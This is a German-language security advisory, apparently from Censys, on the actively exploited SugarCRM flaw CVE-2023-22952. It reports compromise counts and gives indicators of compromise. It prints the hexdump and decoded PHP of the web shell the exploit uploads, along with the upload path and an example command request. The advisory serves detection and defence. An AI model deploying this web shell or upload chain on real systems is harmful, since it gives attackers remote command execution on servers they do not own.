Update 17. Januar 2023: SugarCRM hat durch ein externes Forensik-Unternehmen bestätigen lassen, dass es kein Eindringen in seine Cloud-basierten Produkte aufgrund dieser Sicherheitslücke gab. Weitere Informationen dazu finden Sie hier.
Aktualisierung am 11. Januar 2023: Dieses Problem wird jetzt als CVE-2023-22952 verfolgt / Aktualisierte kompromittierte Tallies
Update 10. Januar 2023: SugarCRM ist sich des Problems bewusst, und wir haben unseren Beitrag und die Richtlinien zur Behebung der Schwachstelle aktualisiert. Censys hat keinen signifikanten Anstieg der gefährdeten Instanzen festgestellt, wird die Situation aber weiterhin beobachten.
Am 30. Dezember 2022 postete ein Benutzer mit dem Namen "sw33t.0day" einen Exploit (Archiv-Link) auf der Full-Disclosure-Mailingliste für ein webbasiertes Content-Management-System namens SugarCRM; diese Schwachstelle wird derzeit als CVE-2023-22952 verfolgt, und leider wird der Exploit derzeit verwendet, um Hosts in freier Wildbahn zu kompromittieren und eine php-basierte Webshell zu installieren.
Am 5. Januar 2023 beobachtete Censys 3.066 Instanzen von SugarCRM im Internet, wobei 291 einzelne Hosts kompromittiert wurden. Bis zum 11. Januar 2023 haben wir 3. 059 In stanzen von SugarCRM im Internet und 354 eindeutige IP-Adressen gefunden, die die installierte Webshell des Exploits enthalten (ein Zuwachs von 63 IP-Adressen).
In einem Beitrag auf der SugarCRM-Website werden die Schwachstelle und die erforderlichen Schritte zur Sicherung des Dienstes in einer FAQ beschrieben.
Das Exploit scheint ein Authentifizierungs-Bypass gegen "/index.php" auf dem installierten Dienst zu sein. Nach erfolgreicher Umgehung der Authentifizierung wird ein Cookie vom Dienst abgerufen und eine sekundäre POST-Anfrage an den Pfad "/cache/images/sweet.phar" gesendet, die eine winzige PNG-kodierte Datei hochlädt, die PHP-Code enthält, der vom Server ausgeführt wird, wenn eine weitere Anfrage nach der Datei gestellt wird. Die injizierte Binärdatei sieht, wenn sie mit "hexdump" entschlüsselt wird, wie folgt aus:
00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|
00000010 00 00 00 19 00 00 00 14 08 03 00 00 00 4f a9 66 |.............O.f|
00000020 8f 00 00 00 4b 50 4c 54 45 3c 3f 70 68 70 20 65 |....KPLTE<?php e|
00000030 63 68 6f 20 22 23 23 23 23 23 22 3b 20 70 61 73 |cho "#####"; pas|
00000040 73 74 68 72 75 28 62 61 73 65 36 34 5f 64 65 63 |sthru(base64_dec|
00000050 6f 64 65 28 24 5f 50 4f 53 54 5b 22 63 22 5d 29 |ode($_POST["c"])|
00000060 29 3b 20 65 63 68 6f 20 22 23 23 23 23 23 22 3b |); echo "#####";|
00000070 20 3f 3e 20 f6 18 78 37 00 00 00 09 70 48 59 73 | ?> ..x7....pHYs|
00000080 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 |..........+.....|
00000090 2a 49 44 41 54 28 91 63 60 c0 0d 18 99 98 59 58 |*IDAT(.c`.....YX|
000000a0 d9 d8 39 38 b9 b8 79 78 f9 f8 05 04 85 84 45 44 |..98..yx......ED|
000000b0 c5 c4 25 f0 68 19 05 43 14 00 00 30 be 01 2d 4c |..%.h..C...0..-L|
000000c0 1e 5a 12 00 00 00 00 49 45 4e 44 ae 42 60 82 |.Z.....IEND.B`.|
Dies entspricht in etwa dem folgenden PHP:
<?php
echo “#####”;
passthru(base64_decode($_POST[“c”]));
echo “#####”;
?>
Dies ist eine einfache Web-Shell, die Befehle auf der Grundlage des base64-kodierten Werts des Abfragearguments "c" ausführt (z. B. "POST /cache/images/sweet.phar?c="L2Jpbi9pZA==" HTTP/1.1", wodurch der Befehl "/bin/id" mit denselben Berechtigungen wie die Benutzerkennung ausgeführt wird, die den Webdienst ausführt).
Top 10 der infizierten Länder |
|
Land |
Anzahl infizierter Wirte |
Prozentsatz der Gesamtinfektionen |
Vereinigte Staaten |
90 |
32.5% |
Deutschland |
59 |
21.3% |
Australien |
20 |
7.2% |
Frankreich |
18 |
6.5% |
Vereinigtes Königreich |
15 |
5.4% |
Irland |
14 |
5.1% |
Kanada |
10 |
3.6% |
Italien |
9 |
3.2% |
Niederlande |
8 |
2.9% |
Singapur |
7 |
2.5% |
|
Top 10 der infizierten autonomen Systeme |
|
Autonomes System |
Anzahl infizierter Wirte |
Prozentsatz der Gesamtinfektionen |
AMAZON-02 |
73 |
26.4% |
AMAZON-AES |
33 |
11.9% |
HETZNER-AS |
21 |
7.6% |
LEASEWEB-DE-FRA-10 |
10 |
3.6% |
DIGITALOCEAN-ASN |
9 |
3.2% |
OVH |
9 |
3.2% |
GOOGLE-CLOUD-PLATTFORM |
8 |
2.9% |
AKAMAI-AP |
5 |
1.8% |
SQUIZ-AS-AP |
5 |
1.8% |
LIQUIDWEB |
5 |
1.8% |
|
Indikatoren für Kompromisse
Ein guter Weg, um festzustellen, ob Ihre SugarCRM-Installation kompromittiert wurde, ist die Eingabe des folgenden Befehls, wobei "$INSTALLDIR" das Stammverzeichnis der SugarCRM-Installation ist:
~$ strings $INSTALLDIR/cache/images/* | grep -i PHP
Wenn eine Ausgabe zu sehen ist, wurde der Host höchstwahrscheinlich kompromittiert. Da der geschriebene Dateiname, der die Web-Shell enthält, beliebig geändert werden kann, ist die Suche nach PHP-Strings in allen Dateien innerhalb dieses Verzeichnisses die beste Identifizierungsmethode.
Da diese Schwachstelle leicht als Waffe eingesetzt, gescannt und automatisiert werden kann, wird Censys diese Schwachstelle weiter verfolgen.
Administratoren sollten auch HTTP-Anfrageprotokolle überwachen, die für das Verzeichnis "/cache/images/" bestimmt sind, und auf den vom Webserver zurückgegebenen Antwortcode achten.
- Wenn ein 404-Statuscode angezeigt wird, wurde die Datei nicht gefunden und der bösartige Code nicht ausgeführt.
- Wenn ein 403-Statuscode angezeigt wird, wird der Zugriff vom Webserver verweigert und der Code wird nicht ausgeführt. Dies ist der Statuscode, der angezeigt wird, wenn der Dienst gepatcht wurde.